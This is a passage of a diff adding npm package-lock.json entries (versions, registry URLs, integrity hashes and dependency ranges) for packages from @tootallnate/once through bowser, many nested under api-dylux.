"resolved": "https://registry.npmjs.org/@tootallnate/once/-/once-2.0.0.tgz", + "integrity": "sha512-XCuKFP5PS55gnMVu3dty8KPatLqUoy/ZYzDzAGCQ8JNFCkLXzmI7vNHCR+XpbZaMWQK/vQubr7PkYq8g470J/A==", + "engines": { + "node": ">= 10" + } + }, + "node_modules/api-dylux/node_modules/axios": { + "version": "0.21.4", + "resolved": "https://registry.npmjs.org/axios/-/axios-0.21.4.tgz", + "integrity": "sha512-ut5vewkiu8jjGBdqpM44XxjuCjq9LAKeHVmoVfHVzy8eHgxxq8SbAVQNovDA8mVi05kP0Ea/n/UzcSHcTJQfNg==", + "dependencies": { + "follow-redirects": "^1.14.0" + } + }, + "node_modules/api-dylux/node_modules/cssom": { + "version": "0.5.0", + "resolved": "https://registry.npmjs.org/cssom/-/cssom-0.5.0.tgz", + "integrity": "sha512-iKuQcq+NdHqlAcwUY0o/HL69XQrUaQdMjmStJ8JFmUaiiQErlhrmuigkg/CU4E2J0IyUKUrMAgl36TvN67MqTw==" + }, + "node_modules/api-dylux/node_modules/data-urls": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/data-urls/-/data-urls-3.0.2.tgz", + "integrity": "sha512-Jy/tj3ldjZJo63sVAvg6LHt2mHvl4V6AgRAmNDtLdm7faqtsx+aJG42rsyCo9JCoRVKwPFzKlIPx3DIibwSIaQ==", + "dependencies": { + "abab": "^2.0.6", + "whatwg-mimetype": "^3.0.0", + "whatwg-url": "^11.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/api-dylux/node_modules/data-urls/node_modules/whatwg-url": { + "version": "11.0.0", + "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-11.0.0.tgz", + "integrity": "sha512-RKT8HExMpoYx4igMiVMY83lN6UeITKJlBQ+vR/8ZJ8OCdSiN3RwCq+9gH0+Xzj0+5IrM6i4j/6LuvzbZIQgEcQ==", + "dependencies": { + "tr46": "^3.0.0", + "webidl-conversions": "^7.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/api-dylux/node_modules/domexception": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/domexception/-/domexception-4.0.0.tgz", + "integrity": "sha512-A2is4PLG+eeSfoTMA95/s4pvAoSo2mKtiM5jlHkAVewmiO8ISFTFKZjH7UAM1Atli/OT/7JHOrJRJiMKUZKYBw==", + "dependencies": { + "webidl-conversions": "^7.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/api-dylux/node_modules/file-type": { + "version": "17.1.6", + "resolved": "https://registry.npmjs.org/file-type/-/file-type-17.1.6.tgz", + "integrity": "sha512-hlDw5Ev+9e883s0pwUsuuYNu4tD7GgpUnOvykjv1Gya0ZIjuKumthDRua90VUn6/nlRKAjcxLUnHNTIUWwWIiw==", + "dependencies": { + "readable-web-to-node-stream": "^3.0.2", + "strtok3": "^7.0.0-alpha.9", + "token-types": "^5.0.0-alpha.2" + }, + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/sindresorhus/file-type?sponsor=1" + } + }, + "node_modules/api-dylux/node_modules/html-encoding-sniffer": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/html-encoding-sniffer/-/html-encoding-sniffer-3.0.0.tgz", + "integrity": "sha512-oWv4T4yJ52iKrufjnyZPkrN0CH3QnrUqdB6In1g5Fe1mia8GmF36gnfNySxoZtxD5+NmYw1EElVXiBk93UeskA==", + "dependencies": { + "whatwg-encoding": "^2.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/api-dylux/node_modules/http-proxy-agent": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-5.0.0.tgz", + "integrity": "sha512-n2hY8YdoRE1i7r6M0w9DIw5GgZN0G25P8zLCRQ8rjXtTU3vsNFBI/vWK/UIeE6g5MUUz6avwAPXmL6Fy9D/90w==", + "dependencies": { + "@tootallnate/once": "2", + "agent-base": "6", + "debug": "4" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/api-dylux/node_modules/iconv-lite": { + "version": "0.6.3", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz", + "integrity": "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==", + "dependencies": { + "safer-buffer": ">= 2.1.2 < 3.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/api-dylux/node_modules/jsdom": { + "version": "19.0.0", + "resolved": "https://registry.npmjs.org/jsdom/-/jsdom-19.0.0.tgz", + "integrity": "sha512-RYAyjCbxy/vri/CfnjUWJQQtZ3LKlLnDqj+9XLNnJPgEGeirZs3hllKR20re8LUZ6o1b1X4Jat+Qd26zmP41+A==", + "dependencies": { + "abab": "^2.0.5", + "acorn": "^8.5.0", + "acorn-globals": "^6.0.0", + "cssom": "^0.5.0", + "cssstyle": "^2.3.0", + "data-urls": "^3.0.1", + "decimal.js": "^10.3.1", + "domexception": "^4.0.0", + "escodegen": "^2.0.0", + "form-data": "^4.0.0", + "html-encoding-sniffer": "^3.0.0", + "http-proxy-agent": "^5.0.0", + "https-proxy-agent": "^5.0.0", + "is-potential-custom-element-name": "^1.0.1", + "nwsapi": "^2.2.0", + "parse5": "6.0.1", + "saxes": "^5.0.1", + "symbol-tree": "^3.2.4", + "tough-cookie": "^4.0.0", + "w3c-hr-time": "^1.0.2", + "w3c-xmlserializer": "^3.0.0", + "webidl-conversions": "^7.0.0", + "whatwg-encoding": "^2.0.0", + "whatwg-mimetype": "^3.0.0", + "whatwg-url": "^10.0.0", + "ws": "^8.2.3", + "xml-name-validator": "^4.0.0" + }, + "engines": { + "node": ">=12" + }, + "peerDependencies": { + "canvas": "^2.5.0" + }, + "peerDependenciesMeta": { + "canvas": { + "optional": true + } + } + }, + "node_modules/api-dylux/node_modules/parse5": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/parse5/-/parse5-6.0.1.tgz", + "integrity": "sha512-Ofn/CTFzRGTTxwpNEs9PP93gXShHcTq255nzRYSKe8AkVpZY7e1fpmTfOyoIvjP5HG7Z2ZM7VS9PPhQGW2pOpw==" + }, + "node_modules/api-dylux/node_modules/peek-readable": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/peek-readable/-/peek-readable-5.0.0.tgz", + "integrity": "sha512-YtCKvLUOvwtMGmrniQPdO7MwPjgkFBtFIrmfSbYmYuq3tKDV/mcfAhBth1+C3ru7uXIZasc/pHnb+YDYNkkj4A==", + "engines": { + "node": ">=14.16" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/Borewit" + } + }, + "node_modules/api-dylux/node_modules/strtok3": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/strtok3/-/strtok3-7.0.0.tgz", + "integrity": "sha512-pQ+V+nYQdC5H3Q7qBZAz/MO6lwGhoC2gOAjuouGf/VO0m7vQRh8QNMl2Uf6SwAtzZ9bOw3UIeBukEGNJl5dtXQ==", + "dependencies": { + "@tokenizer/token": "^0.3.0", + "peek-readable": "^5.0.0" + }, + "engines": { + "node": ">=14.16" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/Borewit" + } + }, + "node_modules/api-dylux/node_modules/token-types": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/token-types/-/token-types-5.0.1.tgz", + "integrity": "sha512-Y2fmSnZjQdDb9W4w4r1tswlMHylzWIeOKpx0aZH9BgGtACHhrk3OkT52AzwcuqTRBZtvvnTjDBh8eynMulu8Vg==", + "dependencies": { + "@tokenizer/token": "^0.3.0", + "ieee754": "^1.2.1" + }, + "engines": { + "node": ">=14.16" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/Borewit" + } + }, + "node_modules/api-dylux/node_modules/tr46": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/tr46/-/tr46-3.0.0.tgz", + "integrity": "sha512-l7FvfAHlcmulp8kr+flpQZmVwtu7nfRV7NZujtN0OqES8EL4O4e0qqzL0DC5gAvx/ZC/9lk6rhcUwYvkBnBnYA==", + "dependencies": { + "punycode": "^2.1.1" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/api-dylux/node_modules/w3c-xmlserializer": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/w3c-xmlserializer/-/w3c-xmlserializer-3.0.0.tgz", + "integrity": "sha512-3WFqGEgSXIyGhOmAFtlicJNMjEps8b1MG31NCA0/vOF9+nKMUW1ckhi9cnNHmf88Rzw5V+dwIwsm2C7X8k9aQg==", + "dependencies": { + "xml-name-validator": "^4.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/api-dylux/node_modules/webidl-conversions": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-7.0.0.tgz", + "integrity": "sha512-VwddBukDzu71offAQR975unBIGqfKZpM+8ZX6ySk8nYhVoo5CYaZyzt3YBvYtRtO+aoGlqxPg/B87NGVZ/fu6g==", + "engines": { + "node": ">=12" + } + }, + "node_modules/api-dylux/node_modules/whatwg-encoding": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/whatwg-encoding/-/whatwg-encoding-2.0.0.tgz", + "integrity": "sha512-p41ogyeMUrw3jWclHWTQg1k05DSVXPLcVxRTYsXUk+ZooOCZLcoYgPZ/HL/D/N+uQPOtcp1me1WhBEaX02mhWg==", + "dependencies": { + "iconv-lite": "0.6.3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/api-dylux/node_modules/whatwg-mimetype": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-3.0.0.tgz", + "integrity": "sha512-nt+N2dzIutVRxARx1nghPKGv1xHikU7HKdfafKkLNLindmPU/ch3U31NOCGGA/dmPcmb1VlofO0vnKAcsm0o/Q==", + "engines": { + "node": ">=12" + } + }, + "node_modules/api-dylux/node_modules/whatwg-url": { + "version": "10.0.0", + "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-10.0.0.tgz", + "integrity": "sha512-CLxxCmdUby142H5FZzn4D8ikO1cmypvXVQktsgosNy4a4BHrDHeciBBGZhb0bNoR5/MltoCatso+vFjjGx8t0w==", + "dependencies": { + "tr46": "^3.0.0", + "webidl-conversions": "^7.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/api-dylux/node_modules/xml-name-validator": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/xml-name-validator/-/xml-name-validator-4.0.0.tgz", + "integrity": "sha512-ICP2e+jsHvAj2E2lIHxa5tjXRlKDJo4IdvPvCXbXQGdzSfmSpNVyIKMvoZHjDY9DP0zV17iI85o90vRFXNccRw==", + "engines": { + "node": ">=12" + } + }, + "node_modules/append-field": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/append-field/-/append-field-1.0.0.tgz", + "integrity": "sha512-klpgFSWLW1ZEs8svjfb7g4qWY0YS5imI82dTg+QahUvJ8YqAY0P10Uk8tTyh9ZGuYEZEMaeJYCF5BFuX552hsw==" + }, + "node_modules/are-we-there-yet": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/are-we-there-yet/-/are-we-there-yet-1.0.6.tgz", + "integrity": "sha512-Zfw6bteqM9gQXZ1BIWOgM8xEwMrUGoyL8nW13+O+OOgNX3YhuDN1GDgg1NzdTlmm3j+9sHy7uBZ12r+z9lXnZQ==", + "dependencies": { + "delegates": "^1.0.0", + "readable-stream": "^2.0.0 || ^1.1.13" + } + }, + "node_modules/arg": { + "version": "4.1.3", + "resolved": "https://registry.npmjs.org/arg/-/arg-4.1.3.tgz", + "integrity": "sha512-58S9QDqG0Xx27YwPSt9fJxivjYl432YCwfDMfZ+71RAqUrZef7LrKQZ3LHLOwCS4FLNBplP533Zx895SeOCHvA==" + }, + "node_modules/argparse": { + "version": "1.0.10", + "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz", + "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", + "dependencies": { + "sprintf-js": "~1.0.2" + } + }, + "node_modules/argparse/node_modules/sprintf-js": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz", + "integrity": "sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g==" + }, + "node_modules/array-back": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/array-back/-/array-back-3.1.0.tgz", + "integrity": "sha512-TkuxA4UCOvxuDK6NZYXCalszEzj+TLszyASooky+i742l9TqsOdYCMJJupxRic61hwquNtppB3hgcuq9SVSH1Q==", + "engines": { + "node": ">=6" + } + }, + "node_modules/array-differ": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/array-differ/-/array-differ-3.0.0.tgz", + "integrity": "sha512-THtfYS6KtME/yIAhKjZ2ul7XI96lQGHRputJQHO80LAWQnuGP4iCIN8vdMRboGbIEYBwU33q8Tch1os2+X0kMg==", + "engines": { + "node": ">=8" + } + }, + "node_modules/array-union": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/array-union/-/array-union-2.1.0.tgz", + "integrity": "sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw==", + "engines": { + "node": ">=8" + } + }, + "node_modules/arrify": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/arrify/-/arrify-2.0.1.tgz", + "integrity": "sha512-3duEwti880xqi4eAMN8AyR4a0ByT90zoYdLlevfrvU43vb0YZwZVfxOgxWrLXXXpyugL0hNZc9G6BiB5B3nUug==", + "engines": { + "node": ">=8" + } + }, + "node_modules/asn1": { + "version": "0.2.6", + "resolved": "https://registry.npmjs.org/asn1/-/asn1-0.2.6.tgz", + "integrity": "sha512-ix/FxPn0MDjeyJ7i/yoHGFt/EX6LyNbxSEhPPXODPL+KB0VPk86UYfL0lMdy+KCnv+fmvIzySwaK5COwqVbWTQ==", + "dependencies": { + "safer-buffer": "~2.1.0" + } + }, + "node_modules/assert": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/assert/-/assert-2.0.0.tgz", + "integrity": "sha512-se5Cd+js9dXJnu6Ag2JFc00t+HmHOen+8Q+L7O9zI0PqQXr20uk2J0XQqMxZEeo5U50o8Nvmmx7dZrl+Ufr35A==", + "dependencies": { + "es6-object-assign": "^1.1.0", + "is-nan": "^1.2.1", + "object-is": "^1.0.1", + "util": "^0.12.0" + } + }, + "node_modules/assert-plus": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz", + "integrity": "sha512-NfJ4UzBCcQGLDlQq7nHxH+tv3kyZ0hHQqF5BO6J7tNJeP5do1llPr8dZ8zHonfhAu0PHAdMkSo+8o0wxg9lZWw==", + "engines": { + "node": ">=0.8" + } + }, + "node_modules/ast-types": { + "version": "0.13.4", + "resolved": "https://registry.npmjs.org/ast-types/-/ast-types-0.13.4.tgz", + "integrity": "sha512-x1FCFnFifvYDDzTaLII71vG5uvDwgtmDTEVWAxrgeiR8VjMONcCXJx7E+USjDtHlwFmt9MysbqgF9b9Vjr6w+w==", + "dependencies": { + "tslib": "^2.0.1" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/async": { + "version": "3.2.4", + "resolved": "https://registry.npmjs.org/async/-/async-3.2.4.tgz", + "integrity": "sha512-iAB+JbDEGXhyIUavoDl9WP/Jj106Kz9DEn1DPgYw5ruDn0e3Wgi3sKFm55sASdGBNOQB8F59d9qQ7deqrHA8wQ==" + }, + "node_modules/async-listener": { + "version": "0.6.10", + "resolved": "https://registry.npmjs.org/async-listener/-/async-listener-0.6.10.tgz", + "integrity": "sha512-gpuo6xOyF4D5DE5WvyqZdPA3NGhiT6Qf07l7DCB0wwDEsLvDIbCr6j9S5aj5Ch96dLace5tXVzWBZkxU/c5ohw==", + "dependencies": { + "semver": "^5.3.0", + "shimmer": "^1.1.0" + }, + "engines": { + "node": "<=0.11.8 || >0.11.10" + } + }, + "node_modules/async-retry": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/async-retry/-/async-retry-1.3.3.tgz", + "integrity": "sha512-wfr/jstw9xNi/0teMHrRW7dsz3Lt5ARhYNZ2ewpadnhaIp5mbALhOAP+EAdsC7t4Z6wqsDVv9+W6gm1Dk9mEyw==", + "dependencies": { + "retry": "0.13.1" + } + }, + "node_modules/async.parallellimit": { + "version": "0.5.2", + "resolved": "https://registry.npmjs.org/async.parallellimit/-/async.parallellimit-0.5.2.tgz", + "integrity": "sha512-4Di2nFsb3jL7aUIICvRSvtw/oynpMIx0JrwYn5hqJI661Dd+mYBi2ElOukOQgRHihU1SCTapb86Vx/Snva5M1w==", + "dependencies": { + "async.util.eachoflimit": "0.5.2", + "async.util.parallel": "0.5.2" + } + }, + "node_modules/async.util.eachoflimit": { + "version": "0.5.2", + "resolved": "https://registry.npmjs.org/async.util.eachoflimit/-/async.util.eachoflimit-0.5.2.tgz", + "integrity": "sha512-oZksH0sBW0AEOJKgBCQ79io9DZruoRBLTAea/Ik36pejR7pDpByvtXeuJsoZdPwSVslsrQcsUfucbUaiXYBnAQ==", + "dependencies": { + "async.util.keyiterator": "0.5.2", + "async.util.noop": "0.5.2", + "async.util.once": "0.5.2", + "async.util.onlyonce": "0.5.2" + } + }, + "node_modules/async.util.isarray": { + "version": "0.5.2", + "resolved": "https://registry.npmjs.org/async.util.isarray/-/async.util.isarray-0.5.2.tgz", + "integrity": "sha512-wbUzlrwON8RUgi+v/rhF0U99Ce8Osjcn+JP/mFNg6ymvShcobAOvE6cvLajSY5dPqKCOE1xfdhefgBif11zZgw==" + }, + "node_modules/async.util.isarraylike": { + "version": "0.5.2", + "resolved": "https://registry.npmjs.org/async.util.isarraylike/-/async.util.isarraylike-0.5.2.tgz", + "integrity": "sha512-DbFpsz3ZFNkohAW8IpGTlm8gotU32zpqe3Y2XkEA/G3XNO6rmUTKPpo7XgXUruoI+AsGi8+0zWpJHe7t1sLiAg==", + "dependencies": { + "async.util.isarray": "0.5.2" + } + }, + "node_modules/async.util.keyiterator": { + "version": "0.5.2", + "resolved": "https://registry.npmjs.org/async.util.keyiterator/-/async.util.keyiterator-0.5.2.tgz", + "integrity": "sha512-cktrETawCwgu13y3KZs2uMGFnNHc+IjKPZsavtRaoCjLELkePb2co4zrr+ghPvEqLXZIJPTKqC2HFZgJTssMVw==", + "dependencies": { + "async.util.isarraylike": "0.5.2", + "async.util.keys": "0.5.2" + } + }, + "node_modules/async.util.keys": { + "version": "0.5.2", + "resolved": "https://registry.npmjs.org/async.util.keys/-/async.util.keys-0.5.2.tgz", + "integrity": "sha512-umCOCRCRYwIC2Ho3fbuhKwIIe7OhQsVoVKGoF5GoQiGJUmjP4TG0Bmmcdpm7yW/znoIGKpnjKzVQz0niH4tfqw==" + }, + "node_modules/async.util.noop": { + "version": "0.5.2", + "resolved": "https://registry.npmjs.org/async.util.noop/-/async.util.noop-0.5.2.tgz", + "integrity": "sha512-AdwShXwE0KoskgqVJAck8zcM32nIHj3AC8ZN62ZaR5srhrY235Nw18vOJZWxcOfhxdVM0hRVKM8kMx7lcl7cCQ==" + }, + "node_modules/async.util.once": { + "version": "0.5.2", + "resolved": "https://registry.npmjs.org/async.util.once/-/async.util.once-0.5.2.tgz", + "integrity": "sha512-YQ5WPzDTt2jlblUDkq2I5RV/KiAJErJ4/0cEFhYPaZzqIuF/xDzdGvnEKe7UeuoMszsVPeajzcpKgkbwdb9MUA==" + }, + "node_modules/async.util.onlyonce": { + "version": "0.5.2", + "resolved": "https://registry.npmjs.org/async.util.onlyonce/-/async.util.onlyonce-0.5.2.tgz", + "integrity": "sha512-UgQvkU9JZ+I0Cm1f56XyGXcII+J3d/5XWUuHpcevlItuA3WFSJcqZrsyAUck2FkRSD8BwYQX1zUTDp3SJMVESg==" + }, + "node_modules/async.util.parallel": { + "version": "0.5.2", + "resolved": "https://registry.npmjs.org/async.util.parallel/-/async.util.parallel-0.5.2.tgz", + "integrity": "sha512-0bEvwmQ8fxsTYNwacw5iq0i3PvGryRkXxZ01Rvox21izdMdls9IH2rAZjfunbgI8j6nFRyIdCmMINQ9kka99ow==", + "dependencies": { + "async.util.isarraylike": "0.5.2", + "async.util.noop": "0.5.2", + "async.util.restparam": "0.5.2" + } + }, + "node_modules/async.util.restparam": { + "version": "0.5.2", + "resolved": "https://registry.npmjs.org/async.util.restparam/-/async.util.restparam-0.5.2.tgz", + "integrity": "sha512-Q9Z+zgmtMxFX5i7CnBvNOkgrL5hptztCqwarQluyNudUUk4iCmyjmsQl8MuQEjNh3gGqP5ayvDaextL1VXXgIg==" + }, + "node_modules/asynckit": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", + "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==" + }, + "node_modules/atomic-sleep": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/atomic-sleep/-/atomic-sleep-1.0.0.tgz", + "integrity": "sha512-kNOjDqAh7px0XWNI+4QbzoiR/nTkHAWNud2uvnJquD1/x5a7EQZMJT0AczqK0Qn67oY/TTQ1LbUKajZpp3I9tQ==", + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/audio-buffer": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/audio-buffer/-/audio-buffer-5.0.0.tgz", + "integrity": "sha512-gsDyj1wwUp8u7NBB+eW6yhLb9ICf+0eBmDX8NGaAS00w8/fLqFdxUlL5Ge/U8kB64DlQhdonxYC59dXy1J7H/w==" + }, + "node_modules/audio-decode": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/audio-decode/-/audio-decode-2.1.4.tgz", + "integrity": "sha512-i1KTHqBXcU3vVCPXfp4zZCaXsLYyO4CNbt6JhvV1so/PpOpBnIXNFgHEq0bWNsroUV/J6i2/Yck0QhoaCzGh+A==", + "dependencies": { + "@wasm-audio-decoders/flac": "^0.1.12", + "@wasm-audio-decoders/ogg-vorbis": "^0.1.7", + "audio-buffer": "^5.0.0", + "audio-type": "^2.2.0", + "mpg123-decoder": "^0.4.8", + "node-wav": "^0.0.2", + "ogg-opus-decoder": "^1.6.4", + "qoa-format": "^1.0.0" + } + }, + "node_modules/audio-type": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/audio-type/-/audio-type-2.2.1.tgz", + "integrity": "sha512-En9AY6EG1qYqEy5L/quryzbA4akBpJrnBZNxeKTqGHC2xT9Qc4aZ8b7CcbOMFTTc/MGdoNyp+SN4zInZNKxMYA==", + "engines": { + "node": ">=14" + } + }, + "node_modules/available-typed-arrays": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/available-typed-arrays/-/available-typed-arrays-1.0.5.tgz", + "integrity": "sha512-DMD0KiN46eipeziST1LPP/STfDU0sufISXmjSgvVsoU2tqxctQeASejWcfNtxYKqETM1UxQ8sp2OrSBWpHY6sw==", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/awesome-phonenumber": { + "version": "2.73.0", + "resolved": "https://registry.npmjs.org/awesome-phonenumber/-/awesome-phonenumber-2.73.0.tgz", + "integrity": "sha512-zirkzWFUheNnnPY1QE05PQd+5drn+5kVy76gZ3WyXnLwzXOguw6sqksyZGO1qyNnYj3Y/SDITXnS/TCk/hJXpQ==", + "engines": { + "node": ">=12" + } + }, + "node_modules/aws-sign2": { + "version": "0.7.0", + "resolved": "https://registry.npmjs.org/aws-sign2/-/aws-sign2-0.7.0.tgz", + "integrity": "sha512-08kcGqnYf/YmjoRhfxyu+CLxBjUtHLXLXX/vUfx9l2LYzG3c1m61nrpyFUZI6zeS+Li/wWMMidD9KgrqtGq3mA==", + "engines": { + "node": "*" + } + }, + "node_modules/aws4": { + "version": "1.12.0", + "resolved": "https://registry.npmjs.org/aws4/-/aws4-1.12.0.tgz", + "integrity": "sha512-NmWvPnx0F1SfrQbYwOi7OeaNGokp9XhzNioJ/CSBs8Qa4vxug81mhJEAVZwxXuBmYB5KDRfMq/F3RR0BIU7sWg==" + }, + "node_modules/axios": { + "version": "0.24.0", + "resolved": "https://registry.npmjs.org/axios/-/axios-0.24.0.tgz", + "integrity": "sha512-Q6cWsys88HoPgAaFAVUb0WpPk0O8iTeisR9IMqy9G8AbO4NlpVknrnQS03zzF9PGAWgO3cgletO3VjV/P7VztA==", + "dependencies": { + "follow-redirects": "^1.14.4" + } + }, + "node_modules/balanced-match": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", + "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==" + }, + "node_modules/base64-js": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz", + "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ] + }, + "node_modules/basic-ftp": { + "version": "5.0.3", + "resolved": "https://registry.npmjs.org/basic-ftp/-/basic-ftp-5.0.3.tgz", + "integrity": "sha512-QHX8HLlncOLpy54mh+k/sWIFd0ThmRqwe9ZjELybGZK+tZ8rUb9VO0saKJUROTbE+KhzDUT7xziGpGrW8Kmd+g==", + "engines": { + "node": ">=10.0.0" + } + }, + "node_modules/bcrypt-pbkdf": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/bcrypt-pbkdf/-/bcrypt-pbkdf-1.0.2.tgz", + "integrity": "sha512-qeFIXtP4MSoi6NLqO12WfqARWWuCKi2Rn/9hJLEmtB5yTNr9DqFWkJRCf2qShWzPeAMRnOgCrq0sg/KLv5ES9w==", + "dependencies": { + "tweetnacl": "^0.14.3" + } + }, + "node_modules/big-integer": { + "version": "1.6.51", + "resolved": "https://registry.npmjs.org/big-integer/-/big-integer-1.6.51.tgz", + "integrity": "sha512-GPEid2Y9QU1Exl1rpO9B2IPJGHPSupF5GnVIP0blYvNOMer2bTvSWs1jGOUg04hTmu67nmLsQ9TBo1puaotBHg==", + "engines": { + "node": ">=0.6" + } + }, + "node_modules/binary-extensions": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.2.0.tgz", + "integrity": "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==", + "engines": { + "node": ">=8" + } + }, + "node_modules/biskviit": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/biskviit/-/biskviit-1.0.1.tgz", + "integrity": "sha512-VGCXdHbdbpEkFgtjkeoBN8vRlbj1ZRX2/mxhE8asCCRalUx2nBzOomLJv8Aw/nRt5+ccDb+tPKidg4XxcfGW4w==", + "dependencies": { + "psl": "^1.1.7" + }, + "engines": { + "node": ">=1.0.0" + } + }, + "node_modules/blessed": { + "version": "0.1.81", + "resolved": "https://registry.npmjs.org/blessed/-/blessed-0.1.81.tgz", + "integrity": "sha512-LoF5gae+hlmfORcG1M5+5XZi4LBmvlXTzwJWzUlPryN/SJdSflZvROM2TwkT0GMpq7oqT48NRd4GS7BiVBc5OQ==", + "bin": { + "blessed": "bin/tput.js" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/bmp-js": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/bmp-js/-/bmp-js-0.1.0.tgz", + "integrity": "sha512-vHdS19CnY3hwiNdkaqk93DvjVLfbEcI8mys4UjuWrlX1haDmroo8o4xCzh4wD6DGV6HxRCyauwhHRqMTfERtjw==" + }, + "node_modules/bodec": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/bodec/-/bodec-0.1.0.tgz", + "integrity": "sha512-Ylo+MAo5BDUq1KA3f3R/MFhh+g8cnHmo8bz3YPGhI1znrMaf77ol1sfvYJzsw3nTE+Y2GryfDxBaR+AqpAkEHQ==" + }, + "node_modules/boolbase": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/boolbase/-/boolbase-1.0.0.tgz", + "integrity": "sha512-JZOSA7Mo9sNGB8+UjSgzdLtokWAky1zbztM3WRLCbZ70/3cTANmQmOdR7y2g+J0e2WXywy1yS468tY+IruqEww==" + }, + "node_modules/boolstring": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/boolstring/-/boolstring-1.0.2.tgz", + "integrity": "sha512-0JLNSmZUv1m/O8sVayFm2t0naiOXwQ9O2Gq9u1eoIkhvu6U5NQER/e3k4BGpjZ33G775lWMT7TzJ7r5VtmEnbQ==" + }, + "node_modules/bowser": { + "version": "2.11.0", + "resolved": "https://registry.npmjs.org/bowser/-/bowser-2.11.0.tgz", + "integrity": 